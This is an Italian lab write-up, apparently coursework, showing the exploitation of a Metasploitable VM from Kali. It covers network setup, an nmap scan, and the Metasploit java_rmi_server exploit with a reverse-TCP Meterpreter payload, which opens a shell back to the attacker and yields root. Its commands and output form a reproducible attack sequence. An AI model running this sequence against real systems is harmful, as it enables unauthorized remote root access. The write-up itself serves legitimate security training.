

Progetto 27/09/2024

1. Come primo passaggio imposto gli ip e relativi gateway di entrambe le macchine:

```
kali-linux-2024.1-virtualbox-amd64 [In esecuzione] - Oracle VirtualBox
File Macchina Visualizza Inserimento Dispositivi Aiuto
File Actions Edit View Help
(kali@kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:1a:cb:6c brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.11/24 brd 192.168.1.255 scope global dynamic noprefixroute eth0
        valid_lft 86350sec preferred_lft 86350sec
    inet6 fe80::4fde:846e:3f6a:2abd/64 scope link noprefixroute
        valid_lft forever preferred_lft forever

(kali@kali)-[~]
$ sudo ip addr add 192.168.11.111/24 dev eth0
[sudo] password for kali:

(kali@kali)-[~]
$ sudo ip route add default via 192.168.11.1

(kali@kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:1a:cb:6c brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.11/24 brd 192.168.1.255 scope global dynamic noprefixroute eth0
        valid_lft 86122sec preferred_lft 86122sec
    inet 192.168.11.111/24 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::4fde:846e:3f6a:2abd/64 scope link noprefixroute
        valid_lft forever preferred_lft forever

(kali@kali)-[~]
$
```

```
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:b0:b3:ed brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.10/24 brd 192.168.1.255 scope global eth0
    inet6 fe80::a00:27ff:feb0:b3ed/64 scope link
        valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$ sudo ifconfig eth0 192.168.11.112/24
[sudo] password for msfadmin:
msfadmin@metasploitable:~$ sudo route add default gw 192.168.11.1
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:b0:b3:ed brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.112/24 brd 192.168.11.255 scope global eth0
    inet6 fe80::a00:27ff:feb0:b3ed/64 scope link
        valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$ _
```

3. Apro un nuovo terminale su kali ed eseguo un nmap -O per osservare il tipo di macchina ed i servizi aperti:

```
kali-linux-2024.1-virtualbox-amd64 [In esecuzione] - Oracle VirtualBox
File  Macchina  Visualizza  Inserimento  Dispositivi  Aiuto
[Icons] | 1 2 3 4 | [Icon]

File  Actions  Edit  View  Help

(kali@kali)-[~]
$ sudo nmap -O 192.168.11.112
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-27 03:16 EDT
Nmap scan report for 192.168.11.112 (192.168.11.112)
Host is up (0.00026s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 08:00:27:B0:B3:ED (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.48 seconds

(kali@kali)-[~]
$
```

4. Apro un terzo terminale dove avvio Metasploit con il comando **msfconsole** :

```
File  Actions  Edit  View  Help
(kali㉿kali)-[~]
└─$ sudo msfconsole
[sudo] password for kali:
Metasploit tip: Use the analyze command to suggest runnable modules for
hosts

Call trans opt: received. 2-19-98 13:24:18 REC:Loc

Trace program: running

    wake up, Neo ...
  the matrix has you
follow the white rabbit.

    knock, knock, Neo.

      (
      X
      Q
      )

https://metasploit.com

    =[ metasploit v6.4.20-dev ]
+ -- --=[ 2440 exploits - 1256 auxiliary - 429 post ]
+ -- --=[ 1471 payloads - 47 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > █
```


5. Ora utilizzo il comando search per cercare il modulo necessario per eseguire l'exploit:

```
msf6 > search Java RMI
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce	2019-05-22	excellent	Yes	Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE
1	exploit/multi/http/crushftp_rce_cve_2023_43177	2023-08-08	excellent	Yes	CrushFTP Unauthenticated RCE
2	\ target: Java
3	\ target: Linux Dropper
4	\ target: Windows Dropper
5	exploit/multi/misc/java_jmx_server	2013-05-22	excellent	Yes	Java JMX Server Insecure Configuration Java Code Execution
6	auxiliary/scanner/misc/java_jmx_server	2013-05-22	normal	No	Java JMX Server Insecure Endpoint Code Execution Scanner
7	auxiliary/gather/java_rmi_registry	.	normal	No	Java RMI Registry Interfaces Enumeration
8	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
9	\ target: Generic (Java Payload)
10	\ target: Windows x86 (Native Payload)
11	\ target: Linux x86 (Native Payload)
12	\ target: Mac OS X PPC (Native Payload)
13	\ target: Mac OS X x86 (Native Payload)
14	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
15	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation
16	exploit/multi/browser/java_signed_applet	1997-02-19	excellent	No	Java Signed Applet Social Engineering Code Execution
17	\ target: Generic (Java Payload)
18	\ target: Windows x86 (Native Payload)
19	\ target: Linux x86 (Native Payload)
20	\ target: Mac OS X PPC (Native Payload)
21	\ target: Mac OS X x86 (Native Payload)
22	exploit/multi/http/jenkins_metaprogramming	2019-01-08	excellent	Yes	Jenkins ACL Bypass and Metaprogramming RCE
23	\ target: Unix In-Memory
24	\ target: Java Dropper
25	exploit/linux/misc/jenkins_java_deserialize	2015-11-18	excellent	Yes	Jenkins CLI RMI Java Deserialization Vulnerability
26	exploit/linux/http/kibana_timelion_prototype_pollution_rce	2019-10-30	manual	Yes	Kibana Timelion Prototype Pollution RCE
27	exploit/multi/browser/firefox_xpi_bootstrapped_addon	2007-06-27	excellent	No	Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution
28	\ target: Universal (JavaScript XPCOM Shell)
29	\ target: Native Payload
30	exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315	2023-05-26	excellent	Yes	Openfire authentication bypass with RCE plugin
31	exploit/multi/http/torchserver_cve_2023_43654	2023-10-03	excellent	Yes	PyTorch Model Server Registration and Deserialization RCE
32	exploit/multi/http/totaljs_cms_widget_exec	2019-08-30	excellent	Yes	Total.js CMS 12 Widget JavaScript Code Injection
33	\ target: Total.js CMS on Linux
34	\ target: Total.js CMS on Mac
35	exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc	2021-09-21	manual	Yes	VMware vCenter vScalation Priv Esc
36	exploit/multi/misc/vscode_ipynb_remote_dev_exec	2022-11-22	excellent	Yes	VSCode ipynb Remote Development RCE
37	\ target: Windows
38	\ target: Linux File-Dropper

Interact with a module by name or index. For example info 38, use 38 or use exploit/multi/misc/vscode_ipynb_remote_dev_exec
After interacting with a module you can manually set a TARGET with set TARGET 'Linux File-Dropper'

6. Seleziono l' exploit più pertinente in questo caso con il comando use scelgo di utilizzare il numero 11 che supporta Linux x86 ovvero l' architettura del nostro bersaglio, inoltre con il comando options verifico i settaggi richiesti per runnare l' exploit:

```
msf6 > use 11
[*] Additionally setting TARGET => Linux x86 (Native Payload)
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

```


Payload options (linux/x86/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```


Exploit target:
```

Id	Name
2	Linux x86 (Native Payload)

```


View the full module info with the info, or info -d command.
```

- 7. Verificati i settaggi richiesti procedo con l'inserimento attraverso il comando set rhosts inserendo così l' IP della macchina target, una volta fatto per confermare che msf abbia preso il valore settato controllo con un ulteriore options:**

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS	192.168.11.112	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

```


Payload options (linux/x86/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```


Exploit target:
```

Id	Name
--	---
2	Linux x86 (Native Payload)

View the full module info with the `info`, or `info -d` command.

8. Fatto questo procedo con il comando run per lanciare il payload è una volta eseguita la connessione al bersaglio verifico di essere all'interno del bersaglio con Meterpreter chiedendo prima i comandi che posso eseguire con help:

```
meterpreter > help
```

Core Commands

Command	Description
?	Help menu
background	Backgrounds the current session
bg	Alias for background
bgkill	Kills a background meterpreter script
bglist	Lists running background scripts
bgrun	Executes a meterpreter script as a background thread
channel	Displays information or control active channels
close	Closes a channel
detach	Detach the meterpreter session (for http/https)
disable_unicode_encoding	Disables encoding of unicode strings
enable_unicode_encoding	Enables encoding of unicode strings
exit	Terminate the meterpreter session
guid	Get the session GUID
help	Help menu
info	Displays information about a Post module
irb	Open an interactive Ruby shell on the current session
load	Load one or more meterpreter extensions
machine_id	Get the MSF ID of the machine attached to the session
pry	Open the Pry debugger on the current session
quit	Terminate the meterpreter session
read	Reads data from a channel
resource	Run the commands stored in a file
run	Executes a meterpreter script or Post module
secure	(Re)Negotiate TLV packet encryption on the session
sessions	Quickly switch to another session
use	Deprecated alias for "load"
uuid	Get the UUID for the current session
write	Writes data to a channel

Stdapi: File system Commands

Command	Description
cat	Read the contents of a file to the screen
cd	Change directory
checksum	Retrieve the checksum of a file
chmod	Change the permissions of a file
cp	Copy source to destination
del	Delete the specified file
dir	List files (alias for ls)
download	Download a file or directory
edit	Edit a file

9. Una volta controllato i comandi eseguibili da Meterpreter eseguo i comandi richiesti da traccia e per ulteriore conoscenza utilizziamo sysinfo per scoprire il sistema operativo della macchina target e utilizzo getuid per scoprire i permessi che possiedo all'interno della macchina target in questo caso abbiamo i permessi di root:

```
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/8GPptI
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (1017704 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:57734) at 2024-09-27 03:29:48 -0400
```

```
meterpreter > ifconfig
```

Interface 1

```
Name       : lo
Hardware MAC : 00:00:00:00:00:00
MTU        : 16436
Flags      : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::
```

Interface 2

```
Name       : eth0
Hardware MAC : 08:00:27:b0:b3:ed
MTU        : 1500
Flags      : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:feb0:b3ed
IPv6 Netmask : ffff:ffff:ffff:ffff::
```

```
meterpreter > █
```

```
meterpreter > route
```

IPv4 network routes

Subnet	Netmask	Gateway	Metric	Interface
0.0.0.0	0.0.0.0	192.168.11.1	0	eth0
192.168.11.0	255.255.255.0	0.0.0.0	0	eth0

No IPv6 routes were found.

```
meterpreter > sysinfo
```

```
Computer      : metasploitable.localdomain
OS            : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple    : i486-linux-musl
Meterpreter   : x86/linux
```

```
meterpreter > getuid
```

```
Server username: root
```

```
meterpreter > █
```